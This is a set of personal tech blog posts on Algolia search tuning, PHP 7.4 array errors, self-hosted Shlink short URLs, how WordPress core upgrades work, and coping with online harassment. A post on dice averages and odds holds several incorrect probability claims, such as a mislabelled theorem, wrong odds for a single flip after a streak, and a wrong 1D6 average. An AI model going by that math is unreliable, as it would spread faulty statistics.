Their default is: \[“typo”,”geo”,”words”,”filters”,”proximity”,”attribute”,”exact”,”custom”\]
Mine is: \[“exact”,”score”,”post\_title”,”attribute”,”post\_type\_label”,”typo”,”proximity”,”words”, “is\_sticky”, “post\_date”\]
This actually handled 90% of what I needed without any custom tweaks or rules.
## But weight, there’s more!
Those ‘Attributes’ are the searchable parts of the attributes I was messing with in the refinements section. Most of what they’re used for is helping rank and sort the relevant data to make sure Sara Lance is on top. Which she always is. But. I always wanted to make some *related* data show up.
By default, the searchable attributes were title and content. I added in a new attribute called `lwtv_meta` and in it I added more data. When the index is built for a character (say), it adds a list of all the actors who play the character and all the shows they’re on into that meta attribute. Then I added that attribute to the search. This means if you look for “Legends of Tomorrow” you will see our girl Sara Lance.
That has a small side effect though… Where’s the show!?
So I still have some kinks to work out, but the point is that with a couple tweaks and some extra data, I got everything set up in 3 days. Bonus? The plugin came with templates I quickly tweaked to match my theme. And I’m bad at design!
Algolia? Let’s be demented together!
**Categories:** How To
**Tags:** algolia, elasticpress, search
---
### [The Importance of Correct Casting](https://halfelf.org/2020/the-importance-of-correct-casting/)
**Published:** July 21, 2020
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** When upgrading to PHP 7.4 makes your plugins throw errors about string offsets and broken arrays, we have to read the notes.
**Content:**
So PHP 7.4 is rolling out, WP is hawking it, and you know your code is fine so you don’t worry. Except you start getting complaints from your users! How on earth could that be!? Your plugin is super small and simple, why would this happen? You manage to get your hands on the error messages and it’s weird:
```
NOTICE: PHP message: PHP Warning: Illegal string offset 'TERM' in /wp-content/plugins/foobar/search-form.php on line 146
NOTICE: PHP message: PHP Warning: ksort() expects parameter 1 to be array, string given in /wp-content/plugins/foobar/search-form.php on line 151
NOTICE: PHP message: PHP Warning: Invalid argument supplied for foreach() in /wp-content/plugins/foobar/search-form.php on line 153
NOTICE: PHP message: PHP Warning: session_start(): Cannot start session when headers already sent in /wp-content/plugins/foobar/config.php on line 12
```
But that doesn’t make any sense because your code is pretty straight forward:
```
[...]
$name_array = '';
if( !empty( $term_children )){
foreach ( $term_children as $child ) {
$term = get_term_by( 'id', $child, $taxonomy );
$name_array[ $term->name ]= $child;
}
if( !empty( $name_array ) ){
ksort( $name_array );
foreach( $name_array as $key => $value ) {
[...]
```
Why would this be a problem?
## Error 1: Illegal string offset
The first error we see is this:
`Illegal string offset 'TERM' in /wp-content/plugins/foobar/search-form.php on line 146`
We’re clearly trying to save things into an array, but the string offset actually means you’re trying to use a **string** as an array.
An example of how we might force this error is as follows:
```
$fruits_basket = array(
'persimmons' => 1,
'oranges' => 5,
'plums' => 0,
);
echo $fruits_basket['persimmons']; // echoes 1
$fruits_basket = "a string";
echo $fruits_basket['persimmons']; // illegal string offset error
$fruits_basket['peaches'] = 2; // this will also throw the same error in your logs
```
Simply, you cannot treat a string as an array. Makes sense, right? The second example (peaches) fails because you had re-set `$fruits_basket` to a string, and once it’s that, you have to re-declare it as an array.
But with our error, we can see line 146 is `$name_array[ $term->name ]= $child;` and that should be an array, right?
Well. Yes, **provided** `$name_array` is an array. Hold on to that. Let’s look at error 2.
## Error 2: ksort expects an array
The second error is that the function wanted an array and got a string:
`NOTICE: PHP message: PHP Warning: ksort() expects parameter 1 to be array, string given in /wp-content/plugins/foobar/search-form.php on line 151`
We use `ksort()` to sort the order of an array and here it’s clearly telling us “Buddy, `$name_array` isn’t an array!” Now, one fix here would be to edit line 149 to be this:
```
if( !empty( $name_array ) && is_array( $name_array ) ){
```
That makes sure it doesn’t try to do array tricks on a non-array, but the question is … why is that not an array to begin with? Hold on to that again, we want to look at the next problem…
## Error 3: Invalid argument
Now that we’ve seen the other two, you probably know what’s coming here:
`NOTICE: PHP message: PHP Warning: Invalid argument supplied for foreach() in /wp-content/plugins/foobar/search-form.php on line 153`
This is `foreach()` telling us that the argument you passed isn’t an array. Again.
## What Isn’t An Array?
We’re forcing the variable `$name_array` to be an array on line 146. Or at least we thought we were.
From experience, using `$name_array[KEY] = ITEM;` was just fine from PHP 5.4 up through 7.3, but as soon as I updated a site to 7.4, I got that same error all over.
The issue was resolved by changing line 141 to this: `$name_array = array();`
Instead of defaulting `$name_array` as empty with`''`, I used the empty `array()` which makes it an array.
An alternative is this: `$name_array = (array) '';`
This casts the variable as an array. Since the array is meant to be empty here, it’s not really an issue either way.
## Backward Incompatibility
Where did I learn this? I read the PHP 7.4 migration notes, and found it in the [backward incompatibility section](https://www.php.net/manual/en/migration74.incompatible.php).
> **Array-style access of non-arrays**
>
> Trying to use values of type [null](https://www.php.net/manual/en/language.types.null.php), [bool](https://www.php.net/manual/en/language.types.boolean.php), [int](https://www.php.net/manual/en/language.types.integer.php), [float](https://www.php.net/manual/en/language.types.float.php) or [resource](https://www.php.net/manual/en/language.types.resource.php) as an array (such as `$null["key"]`) will now generate a notice.
The lesson here is that PHP 7.4 is finally behaving in a strict fashion, which regards to data types. Whenever a non-array variable is being used like an array, you get an error because you didn’t say “Mother May I…” it was an array.
Whew.
Now to be fair, this was a warning previously, but a lot of us (hi) missed it.
So. Since WordPress is pushing PHP 7.4, go check all your plugins and themes for that and clean it up. Declare an array or break.
Oh and that last error? Headers already sent? Went away as soon as we fixed the variable.
**Categories:** How To
**Tags:** array, debug, php, string
---
### [Shlinky Dinks](https://halfelf.org/2020/shlinky-dinks/)
**Published:** June 23, 2020
**Author:** Ipstenu (Mika Epstein)
**Content:**
For a number of reasons it was time to move on to new things. I was looking for a better, more modern solution to running my own short URLs.
There are a lot of reasons people want these. When I started with them, it was because Twitter had limits and I wanted to control my tweets and short URLs. But then time moved on, Twitter decided to meh, not care about URL length, which meant I didn’t really need the extra weight.
But I had a reason to keep mine around, and that’s WordCamps. 99.999% of the use of have for short URLs is to link people to things for WordCamps, like my slides but also related links that otherwise would be too long for anyone to write down in a reasonable time frame.
And while I’d been using the same old, functional, system, it had quirks that had long since frustrated me, including not being a modern design. I felt like I was stepping back into the early 2000s, and yes, that UX matters to me.
## Enter Shlink.io
After experimenting around, I found [Shlink.io](https://shlink.io/), a GDPR (yes!) friendly self-hosted URL shortener that is a little more tech, but a lot more smooth. It has a full blown API, a deep command line, and an (optional) admin that is, well, nifty.
Features include:
- Custom short URLs
- Multiple Domains
- QR Codes
- Tags
- Robust stats
- Validates URLs before linking
It’s not a set-and-forget install, to be sure, and each server is going to have some quirks, but overall I’m happy with it already.
## What’s Missing
There’s no WordPress plugin. Yet. I suspect this will happen once people realize the API is so freaking crazy.
There’s no way to import everything from another service, but I did a fast export of my DB and then grep’d and search/replaced so I could run commands like this:
```
php bin/cli short-url:generate -c SHORT https://example.com/
```
Done and done. Imported a few thousand URLs. I will note that most of those links don’t matter, since nearly no one hit them, but I’m just a stickler for old URLs continuing to work. Most of the time. I went back through all the failed import and found I had old links to things like test sites.
Also the admin backend is an add-on (or non-hosted but I’m neurotic). I installed the [web client](https://github.com/shlinkio/shlink-web-client) at a subdomain and then used the configurator to allow passwordless logins. No, I didn’t *leave* it unprotected! I went old school:
```
#Protect Directory
AuthName "Dialog prompt"
AuthType Basic
AuthUserFile /home/ipstenu/example.com/admin/.htpasswd
Require valid-user
SSLOptions +StrictRequire
SSLRequireSSL
SSLRequire %{HTTP_HOST} eq "sub.example.com"
ErrorDocument 403 https://example.com
Order Allow,Deny
Deny from all
```
## What Was Messy
The GeoLiteDB stuff was weird. It took me a while to realize I was running out of space in `tmp` and that was blocking me from doing anything. Since I host this VPS on DreamHost at the moment, and I work there, I went and set `tmp` to disk instead of memory and that magically worked.
Now. Would I like the admin stuff to be built in and easier to manage? Of course. And would I like ‘better’ security when I use the server.json file (like maybe telling people to protect it and hide their API keys, hey) but I’ve [properly opened up a ticket](https://github.com/shlinkio/shlink-web-client/issues/286) for them on that one.
## End Result?
I like it. So I’m using Shlinks now and there you go.
**Categories:** How It Is
**Tags:** coding, open source
---
### [Critical Math](https://halfelf.org/2020/critical-math/)
**Published:** June 16, 2020
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Never tell me the odds, give me an hour and a lot of paper and I'll figure them out.
**Content:**
In this downtime of little new TV and a need to distract once in a while, I proposed we watch all of S1 [*Critical Role*](http://critrole.com/) (which I really only half ass watched until Percy died and came back). So on Thursday at late Saturday nights we watch old-school Critical Role. Sometimes we sneak in another episode but basically we’ve been grinding through.
The other day we got to Omens and had to pause while we argued about math.
We’d hit a point where Matthew Mercer was rolling for an absent Ashley Johnson. She was the cleric and he rolled her healing spell which restores people for 4D8+5 hit points. Matt got a total of 20.
“Oh,” says my wife, disappointed. “Below average.”
I mused aloud, “I know the average of 2D6 is 7, but I forget the math.”
This led to an old argument about the law of averages and statistics, which is to say there is a one in eight chance of rolling an eight (8) on any given roll of a 1D8. No matter how many times people say the dice are good or bad, you have the same chance every time. Flipping a coin 100 times will give you roughly 50 heads and 50 tails. Over time, the wiggliness of Xeno’s Paradox will keep the numbers from a true 50-50,but the point remains you will **always** have a 50% chance of tossing a heads or a tails.
Related to this, though, are the odds of two heads in a row. The problem with the math is a combination of fairness and a concept known as “the Gambler’s Fallacy.” It’s also called “the Monte Carlo Fallacy” because of the time it happened at Monte Carlo. See if the odds of a heads is 1 in 2, then the odds of heads twice in a row is 1 in 4. Three in a row is 1 in 8, because you double it on down. Four in a row is 1/16, and five is 1/32, and this goes on.
And this confuses people because even if the odds of flipping a coin to heads 20 times in a row is 1 in 1,048,576, this does not change that the odds of flipping heads for #21 is **both** one in 2 **and** 1 in 2,097,152. To bake your noodle a little more, if you’ve flipped a coin 20 times for heads, the odds of flipping the 21st to be tails is … also 2,097,152.
This is because we’re looking at two different things here. The probability of a heads or a tails will always and forever be 50%. Period. The odds of rolling a Natural 20 on 1D20 will always be 1/20th (5% for those wondering). Those will never change. This is Bayes’ theorem in action.
We all get screwed up about this because we believe that fairness (i.e. the permanent 50%-ness of the toss) means that previous failures (or successes) will change the probability of the next toss. It won’t.
Let’s say we’re rolling 1D20 and it’s a fair roller. Our goal is to get a 20 and the probability of that is 5%.
But what about the odds of rolling a 20 at least once in 20 rolls? Well that’s 64%.
There’s a 95% chance of *not* rolling a 20 (or any other given number) but again that doesn’t change. Every roll you have a 95% chance of not rolling a 20 and a 5% chance of rolling a 1 or a 20 (unless you’re Wil Wheaton or Taliesin Jaffe). But this makes us ask another question. If there’s a 64% chance of a critical success (i.e. a 20) in 20 rolls of 1D20, does that change if my first roll is a non-20?
Kind of. It’s 62%.
Yes, it went down. Why? Because you have **fewer** chances to win! So the odds of a critical drop every time you roll a non-critical. And frankly this explains half of Wil Wheaton — he’s rolled so many non-critical, the odds are astronomical for him to actually roll one. On the other hand, his capacity for rolling 1s makes him the Joe DiMaggio of Failure for D&D. Sorry, Wil.
This is exactly the same kind of argument my father made back in 2016 (see [Hot Hands And Playoffs](https://halfelf.org/2016/hot-hands-playoffs/) from 2016). And I came to the same conclusion. Wheaton and Jaffe are what we call outliers.
An Aside: For anyone who’s confused, Wil Wheaton (yes Wesley Crusher from Star Trek, also a great writer, a gamer, and a generally amazing human) plays D&D. He has an incredibly capacity to fail his rolls, to the point that a term was coined: [Wheatoning](https://www.critrolestats.com/blog/the-odds-of-wheatoning) (see also [the math on Wheatoning](https://www.critrolestats.com/blog/the-odds-of-wheatoning)). Opposite this is Taliesin Jaffe (an actor, director, voice actor, an all around cool guy) who has a bizarre talent at successes. At least, he did as Percy in Series 1 of Critical Role, with a dice called “The Golden Snitch.” This die was later stolen. Long story. Taliesin still rolls crazy high, so most Critical Role fans see them as the opposite ends of the spectrum.
Whew. Okay that was a lot of math to tell you that while people want to think “If I roll a non-20 10 times in a row, the odds go UP for my next roll to be a 20!” and the truth is that the odds go **down**. There is no universal mathematical law of fairness, just of averages.
Back to the Critical Role episode in question. So Mercer rolled a 20 for 4D8+5. That’s pretty normal for Ashley Johnson (she has a tendency to roll below average, but not to the point that you think she’s cursed like poor Wheaton). At the time, I couldn’t remember the math, but I remembered the experiment, which was that the majority of the faces on a d6 add up to 7.
You may be thinking “Mika, there are only three: 6 + 1, 5 + 2, 4 + 3.” and that’s *true* but it’s actually 6 because the inverses are true. But ask yourself how many *possibilities* are there with 2D6? There are 11. (2 through 12, you can’t roll a 1 on two dice). And 3 of the 11 are a seven so that’s 27% odds of a 7?
No. It’s 16%. Again we’re talking about frequency versus probability. There are 11 possible outcomes, but there are **36** possible variants. You always have six chances to get a 7, one to get a 2, and one to get a 12. This means that to get the probability (i.e. the odds) of rolling a 7, you have to take the frequency of getting a 7 (again, that’s 6) and divide it by the total number of frequencies (36). And 6/36 is 16.67%.
Here’s a table to help:
**Dice Roll****Frequency****Probability**212.8%325.6%438.3%5411.1%6513.9%7616.7%8513.9%9411.1%1038.3%1125.6%1212.8%It’s annoying to think that you always have two sets of probabilities, but if it helps we’re talking about *likelihood* versus probability. The likelihood of rolling a 7 on 2D6 is 16.8% (rounding up). The probability is 1 in 11. With one die, it’s always a flat sameness (likelihood of rolling a 20 is 1 in 20, so is the probability).
We’ve gone around a bit. I know. Here’s the fun stuff. Before arguing math stuff, my wife says “Oh just add up the opposite sides of a die.”

In my defence I never looked.
A quick check on this and we learned some really hilarious factoids:
1. She’s right (12+1 = 13 and 2d12 is in fact average 13).
2. This works because the math is “highest number on the die plus the lowest number equals the average of two dice of the same face.”
3. On *standard* dice the 1 and the high number are opposite (6 and 1, 8 and 1, etc).
4. All the opposite sides add up to the average.
5. On a D10 this breaks because the 0 is opposite a 9, which is technically highest and lowest, but they add up to 9 (or 19, D10s are weird). The average is 11.
6. One of my D8s is misprinted and has 8 opposite 7. It was the first one we checked..
Of course the first die we checked happened to be the misprint. The purple die in the photo below is buck wild and all wrong.
This is the only die in that set (in fact, of all our regularly used dice) that has been misprinted. And while *technically* the change in weight (different numbers are different sizes and have a different amount of paint on each bit) means the die rolls wrong, it’s not statically significant for me to worry much. Dice have a standard set so that numbers can be trusted. Also it makes math easier for people. The average of 2D20 is \*drumroll\* 21.
Let’s go back to Ashley Johnson. Mercer rolled a 20 on 4D8+5. Is that below average? Oh yes it is.
The average of 4D8 is 18 because 2D8 = 8 + 1 – 9 times 2 is 18. Add 5 and the new average becomes 23. a 20 is 3 points under. But at least you can’t roll under a 9!
## Bonus Section
The wonderful thing about Math is you can see parallels. Once you know 2D6 is 7, you can start to jump. 4D16 is 14 and so on. But… what does ‘6 + 1’ mean. How would you get there?
Me I look for patterns. 6 is the maximum of one die. One is one-half the number of dice rolled. Then it stands to reason that 4D6 is going to be 6 plus something with 4, right? 6 plus 8 is 14, so is that our pattern? No because going back one means “6 plus 2 is 8” and that isn’t seven. So how did we get the one? One is one half the number of dice…
DiceAverageMax + DiceMax + 1/2 Dice2D676 + 2 = 86 + 1 = 74D6146 + 8 = 146 + 2 = 86D6216 + 6 = 186 + 3 = 9None of those are right but … Do you see the patterns?
First the average starts at 7 and you add 7 for every 2 dice you add.
We need to add something to a six, but it has to factor in with the number of dice. So how do we get to that one again? We know that the only way to make a one out of the first example (2D6) is to divide the dice by 2. For 2D6 we’re adding 2, which means what plus 2 gets to 14? A 12. And what is 12 divided by 6? A 2…
Hang on then. We have a possible pattern!
`( maximum score of one die * half the dice rolled ) + ( half number of dice rolled )`
DiceAverage( Max \* 1/2 Dice ) + ( 1/2 Dice)2D67( 6 \* 1 ) + ( 2 / 2 ) = 6 + 1 = 74D614( 6 \* 2 ) + ( 4 / 2 ) = 12 + 2 = 146D621( 6 \* 3 ) + ( 6 / 2 ) = 18 + 3 = 218D628( 6 \* 4 ) + ( 8 / 2 ) = 24 + 4 = 2810D635( 6 \* 5 ) + ( 10 / 2 ) = 30 + 5 = 35Bingo baby! We have our pattern! But does this work for odd numbers? It must for the formula to be correct…
DiceAverageForumula1D67( 6 \* .5 ) + ( 1 / 2 )3D610.5( 6 \* 1.5 ) + ( 3 / 2 )5D617.5( 6 \* 2.5 ) + ( 5 / 2 )7D624.5( 6 \* 3.5 ) + ( 7 / 2 )9D631.5( 6 \* 4.5 ) + ( 9 / 2 )Yep, the math keeps working!
And this, friends, is how you reverse engineer a formula.
**Categories:** How It Works
**Tags:** averages, dice, dnd, math, probabilities, statistics
---
### [How the WordPress Upgrade Works](https://halfelf.org/2011/how-the-wordpress-upgrade-works/)
**Published:** January 5, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Every time WordPress upgrades, someone is going to bitch that WordPress 'deleted' their stuff. Guess what? It can't.
**Content:**
*Edited: This post was linked to by the folks at [WTC](http://weblogtoolscollection.com/archives/2011/01/08/how-do-wordpress-upgrades-work/), so I’m getting a lot more traffic! If you asked a question, I will try to answer it promptly, but if you need serious help fixing a problem, please consider posting in the [WordPress forums](http://wordpress.org/support/) for help.*
I was 90% sure about this before I started writing the post, and [Andrew Nacin](http://andrewnacin.com/) was nice enough to tweet me the exact file I needed to look at, so when I got home to look, I was ready to go!
There are two kinds of automated upgrades for WordPress. The main ‘core’ upgrader and then the ‘child’ upgrades used for themes and plugins. They behave differently.
Most of the time, we all see the plugin and theme installer, where it downloads the plugin to `/wp-content/upgrade/`, extracts the plugin, *deletes* the old one, and copies up the new one. Since this is used more often than the core updater (most of the time), it’s the sort of upgrade we’re all used to and familiar with. And we think ‘WordPress deletes before upgrading, sure.’ This makes sense. After all, you want to make sure to clean out the old files, especially the ones that aren’t used anymore.
This **is not** how a core update works.
WordPress core updates, the ones to take you from 3.0.3 to 3.0.4, do not run a blanket delete. They don’t even run a variable delete. They don’t even run a wild-card delete on files in `wp-admin` (which they could). Instead they have a manually created list of files to delete, files that have been deprecated, and delete *only* those files. Here’s a snippet of what it deletes:
```
$_old_files = array(
'wp-admin/bookmarklet.php',
'wp-admin/css/upload.css',
[...]
// MU
'wp-admin/wpmu-admin.php',
'wp-admin/wpmu-blogs.php',
[...]
// 3.1
'wp-includes/js/tinymce/blank.htm',
'wp-includes/js/tinymce/plugins/safari',
[...]
'wp-admin/images/visit-site-button-grad.gif'
);
```
As you can see, the files and folders are all very carefully specified. They are not ac-hoc, they are all determined based on what WordPress has removed. If you read the whole thing, the part that would impress you the most is, perhaps, the folder `wp-content`, where your themes and plugins are installed, is nowhere on that list. Don’t believe me? Go look at `wp-admin/includes/update-core.php` and search for it. It’s not not there!
Once the old files are listed, remember that we have not deleted anything, the upgrader runs through 9 steps.
1. Download the zip file of the new release, unzip it and delete the zip
2. Make sure the file unzipped!
3. Make a .maintenance file in WordPress base (this makes your blog ‘down for maintenance’ so no one can do anything and screw you up mid-stream
4. Copy *over* the new files. This is a straight copy/replace. Not delete.
5. Upgrade the database. This may or may not happen.
6. Delete the unzipped file
7. Delete the .maintenance file
8. Remove the OLD files. This is where it goes through the list of deprecated and unused files and deletes them.
9. Turn off the flag that tells you to upgrade every time you’re in wp-admin
Nowhere in there is wp-content and your themes mentioned.
Well, except in this one weird way.
See, in order for WordPress to work out of the box, a theme *must* be included, right? WordPress has the default theme of **Twenty Ten**. Now, I’ve mentioned before that you should never update your themes directly, and instead make [child themes](https://halfelf.org/2010/child-themes-learn-them-love-them/). This is why. When the WordPress core files update the *copy* over *everything*. Included in everything are two plugins (Akismet, Hello Dolly) and one theme (Twenty Ten).
Normally this isn’t a problem. Sure, someone always edits those files directly and lives to regret it, but they do live. This last cycle, with 3.0.4, Akismet was accidentally rolled back from 2.5.1 to 2.4. Again, normally? Not a problem. We just upgrade our Akismet installs, remark on the silliness and annoyance, and move on. The problem for one user is she had another plugin or theme edit that hooked into the new Akismet. With the way WordPress updates core, it only deletes the files it knows to delete (and Akismet isn’t any of them) and it copies over the ‘new’ files. Or in this case, the old ones. Which broke her site. Her fix? Just re-update Akismet manually. Not a big deal and an easy fix. (Personally I think NOT updating core, even a security upgrade, with the latest Akismet is a poor choice, but the rational is that they want to keep it small and easy to maintain. So okay, I get why, I just don’t like it. I will support that as their choice, and continue to do my manual upgrades, which include deleting Akismet, Hello Dolly and Twenty Ten before I upgrade.)
So then, why doesn’t this work 100% of the time? (Yes, I mentioned this before in the 3.0.1 days, but apparently it bears repeating. Read [Why doesn’t the WordPress Auto-Upgrade Work?](https://halfelf.org/2010/why-doesnt-the-wordpress-auto-upgrade-work/) for more thoughts on the subject.) Well, to start with, that’s impossible. *Nothing* works 100% of the time. Me submitting this post won’t work 100% of the time. You safely walking up the stairs won’t work 100% of the time. This is just how the world works. There are, simply, far too many variables out there to allow this. Even though I make part of my living ensuring that I have an automated process run in a repeatable fashion, I tell people that I only ask for a 75-80% success ratio on the process before I’ll agree to automate it. Why? Because that’s actually phenomenal.
If you take into consideration all the moving parts, variables, and possibilities that goes into any one individual WordPress install, it’s sort of impressive this stuff works at all. In baseball, if you hit a ball and get on base 33% of the time, you’re considered a fantastic hitter. If you do it 40% of the time, you’re pretty much promised a slot in Cooperstown. Whenever I try and sort out if something is worth the risk, I quote my father “What can go wrong? How likely is it? What are the consequences?” It boils down to an understanding of risk analysis, and what that actually means. The problem is that most of the people using WordPress are *users*. They’re not generally expected to think about risk. Not that many don’t, but just that Joe Blogger doesn’t tend to look at an upgrade as a ‘risk.’ After all, WordPress tested this, so it should be easy.
Most of the time, it is. And when it’s not, it was an acceptable risk. All those horrible and terrifying outcomes you read about (from a very vocal minority) are gut-wrenching when they happen to you, don’t get me wrong, but at the end of the day, you have to ask ‘If I use the default WordPress theme and no plugins, do they happen?’ If the answer is no, then WordPress has done all the testing that is required. The onus is not on WordPress to test every upgrade with every theme and plugin. That responsibility is firmly on the shoulders of the person *using* the themes and plugins. A good developer tests their plugins and themes the moment a release candidate comes out for a new version of WordPress, and sorts out how best to support both the current users and the future ones.
It’s what we call ‘acceptable’ risks. You take them all the time. You took an acceptable risk brushing your teeth. You take one every time you walk out your door. You know the risks and you accept them. So when you get to arguing that ‘WordPress upgrades always break’ or ‘I hate upgrading because it means my themes/plugins won’t work’ and using these as reasons to show that WordPress is bad software, then I think you’re missing the point. The more you customize, the more things break. This is something I mentioned in [When To Code](https://halfelf.org/2010/when-to-code/), and it bears repeating. The more you customize, the more things will break when you upgrade.
But this is an *acceptable risk* for most of us!
So when the WordPress auto-upgrade breaks, and I promise you, it will for you at least once in your experience, you have to learn to accept this. It’s not going to work on every server, it’s not going to work on every host. Your server is being constantly upgraded and tweaked. Security patches for PHP, FTP and everything else are applied, most of the time automatically so you don’t have to waste time thinking about it. And when you combine all those things, yeah, it’s going to break.
This isn’t meant to scare you off of upgrading, but an attempt to raise your awareness of what’s going on, so when things break (and they will), you have a better understanding of why, and what to do. If the automated upgrade of WordPress breaks, upgrade manually. If every single automated install (upgrades, plugins, themes) always breaks, then start to diagnose your server. But if it’s a one off, just do it manually. It is, literally, copying files up to your server. If that’s too hard for you, you may not want to run your own, self-managed, WordPress install.
As a blanket reminder, in order to prepare yourself for an upgrade, always make backups of your database and your files. A good backup. Never edit core files (even themes) and always remember that the computer is out to get you.
**Categories:** How It Works
**Tags:** wordpress
---
### [Bummer Of A Birthmark, Hal](https://halfelf.org/2019/bummer-of-a-birthmark-hal/)
**Published:** December 31, 2019
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Just because you're the bad guy doesn't mean the other person is a hero.
**Content:**
I gave a talk in 2019 at WordCamp NYC about what happens when you’re the target. Anyone in any form of a ‘leadership’ or visible role of authority in any community has had a bad day where they woke up and found out everyone hates them.
Not that they’re actually doing anything wrong, but people are targeting them for perceived slights. Regardless of right or wrong, all anyone wants is for their phone to stop pinging, their email to calm down, those Facerange and Twooter groups to stop attacking, and maybe everyone could have a beer.
I have absolutely been there before. For the last decade I’ve worked with the support forums and plugin review teams in myriad roles, including representing those teams to the community. I’ve had a lot of bad days. The good news is I’ve learned that **are** things you can do to protect yourself and to alleviate the problems.
## It Is/Isn’t Your Fault
If you’ve been in any sort of leadership or front-facing role, you’ve probably gotten this at least once. Someone has a bad day, maybe they got banned, maybe they got fired, maybe they just failed on their own. Whatever the reason, it’s YOUR fault. They shouted at you, they screamed in person perhaps, and they left you shaking and a little scared about what the heck was going on and what do you do?
Before I jump into how to protect yourself, which will be the majority of this talk, I want to stress something. No matter what, these situations are not ever *entirely* your fault. Any time something like this happens, it’s from a breakdown in communication, and that speaks to both sides.
However. You do have to take some responsibility here for your own actions. If you don’t, you’ll find yourself here again and again, over and over, and that’s really stressful. So when these things happens, yes, reflect on what you did, but also keep in mind you didn’t do this alone.
Regardless of fault, you have a right to protect yourself. This isn’t an inalienable right. This isn’t a law. This is my firm belief that you have a *right* to take measures to protect yourself from people who have gone crazy on you. It doesn’t matter if it’s your fault or not, it matters that you should protect yourself.
## What Happened?
In order to understand how to protect yourself, you need to be aware of what you did. That’s why I said it’s your fault. You did, or you were *perceived* to have done, something. Keep a hold of that word, **perceived**, because it matters a great deal. If people think you did a thing, it has the same net effect on their actions, but drastically changes your emotions.
More than once I’ve woken up to my Twitter mentions and emails filled with people losing their minds about how evil I am. In 2018 it was all about Gutenberg. To be clear, I was accused of deleting bad reviews on the Gutenberg plugin. Since I hadn’t been doing that, it took a lot of stress and reading to figure out why the mob was actually mad at me. In one case, it was a developer who tweeted, at-ing me, complaining it was unfair that Gutenberg had reviews removed, but he couldn’t get his one-star’s removed. That one tweet, for some reason, infuriated the masses and I had DMs and @-messages *demanding* I explain myself.
I had to ask myself “Did I **actually** do this?” Did I actually delete reviews in a way that could cause this reaction? This was false and I knew it, because I had not deleted a single review about Gutenberg. However due to my *history* as a forum moderator, the finger was pointed at me. Here, what I had done was act as a moderator of some renown at some point in my past.
Now that I knew what was going on and where it started and that I didn’t do anything, I had to uncover what actually happened. I’m still a forum admin, so I logged in and looked at the posts and I could see who had moderated what. And then I *privately* pinged those people and asked for details. In talking to the other moderators, I determined that the removal of Gutenberg reviews were valid. The 1-stars were made by sock puppets, which is to say fake accounts made by people to unethically alter a star rating. It happens a lot.
## Now What?
Okay great, now what? Now it’s time to take action and decide what to do about these people. You have two options though. You can respond to them or … not. They both have a lot of pros and cons, but there is one universal truth you need to know going in: **Whatever you chose, to reply or not, you will be wrong.**
There is absolutely **no way** to ‘win’ or even come out ahead here. You just can’t. If you reply, people will hate your answers. If you don’t, people will claim it’s proof. There’s no safe course here. So you need to make sure you understand **why** you’re doing this.
Why You ReplyWhy You *Don’t* ReplyReply if you want to have your say in the matter. That’s it. It doesn’t matter if you’re right or wrong, or if you’re apologizing or not. You’re trying to have your chance to talk. By replying you’re opening up the doors for a discussion. Don’t pick this option if you don’t want to talk to people!Don’t reply if you know it’s a muggs game and you’ll just waste time arguing with people who’ve made up their minds about you. Not replying feels like a safer choice, except it eats at you so much. You’re going to hear people rip into you over and over, and you will have to stick to your guns and not reply.And if you’re still not decided, remember that sometimes you ***can’t*** reply. That usually happens when you’re aware of a bigger issue that’s preventing public disclosure, or you’ve signed an NDA, or your company asked you not to… Those are really hard because you absolutely cannot engage with people when this happens. You have to suck it up.
There’s one middle road here. You apologize. This is really hard, though, because no matter how you do it, someone will grab on your word choices and use them as proof one way or the other. Usually it’ll be how they prove you’re terrible.
> It is a good rule in life never to apologize. The right sort of people do not want apologies, and the wrong sort take a mean advantage of them.
>
> P.G. Wodehouse, [The Man Upstairs and Other Stories](https://www.goodreads.com/work/quotes/2725977)
## How to Apologize
I have three rules for how to apologize. Those three rules have served me well, because it reminds me to level-set that no matter what I say, I’m not going to come out ‘ahead’, and I should expect nothing at all in return.
1. Be respectful
2. Be sincere
3. Expect nothing
There are some things you can be mindful of. Don’t use ‘if’ statements, like “I’m sorry **IF** this hurt you…” Take ownership of the consequences, regardless of your original intent. It doesn’t matter why a thing happened, it matters that you actually apologize for **what** happened. You can use “But”, just be mindful that it’s not for making an excuse.
You still should consider an apology when you’re **not** the reason for the drama. However this gives you a little room, because now you **can** use those weasel works. “I’m sorry you feel this way.” Notice the **feel** part? That should normally be avoided. Here, we want to use it because it’s actually the only thing you can claim auspice over. You acknowledge their emotions as valid. Which they are.
The follow up to that is you need send them to the right people. “I’m sorry you feel this way. You should talk to X about that. Here’s how…” This is **not** the equivalent of sending someone to your manager, you’re just getting them to the right people. Oh, but be a mensch and tell the other person what’s incoming.
And remember: **forgiveness is not the point**
I know this is hard to swallow. When you apologize, you **never** do it in order to **be** forgiven. Never. Ever.. If you are, then you’re going about it all wrong. You apologize **because you hurt someone**. It doesn’t matter if you meant to or not, and it doesn’t matter if you can fix it or not. It matters that **someone is hurt**, and you did it. It’s up to them to forgive you if they want to, but you owe them a sincere apology.
And just so we’re clear, I’ve screwed this up too. Just as recently as last spring. It’s going to happen. No one is perfect. Try not to do it again.
## Practical Defense
Now that you’ve done some ‘active’ things, you need to take the steps to protect yourself. These are hard because it starts with not looking at it.
Don’t look at what they say about you. Its in our nature to want to know what people are saying about us, but I’m here to tell you not to look. Don’t look. Ignore the comments on other forums and blog posts. Walk away from what’s out there.
If you do look, document. And there will be things that come at you regardless. You’re going to want to keep a record. I have a spreadsheet with the title and date of every single email someone sent regarding an altercation with Plugins. 300 emails a month, on average, for three months. It was painful to record, but I did it to have a history of his behavior. Which is still going on.
Are you getting emails? Block them. Did they make a secondary account? Block that. Did they make 69 accounts over multiple email providers and rotate through the accounts to try and talk to you? By the way, yes, that happened. You block them **all** and you report them. You keep doing this.
Put their emails in your comment blacklist. Don’t dismiss this. If you use Jetpack contact forms, you can use the blacklist to block them from that. IP block if you have to, though I don’t recommend that. Do what you can stop them from getting to you. If you can’t turn off comments (like I did here), then I recommend requiring all first-time comments be approved, and using the [Comment Probation plugin](https://wordpress.org/plugins/comment-probation/).
What about social media? If they’re ‘friends,’ I recommend you unfollow and possibly mute. There are people in WordPress whom I’ve muted, because we don’t get along and will argue about everything. It’s not worth it to fight, so I block and I mute **very** fast. This is for my own sanity because emotional attacks hurt worse.
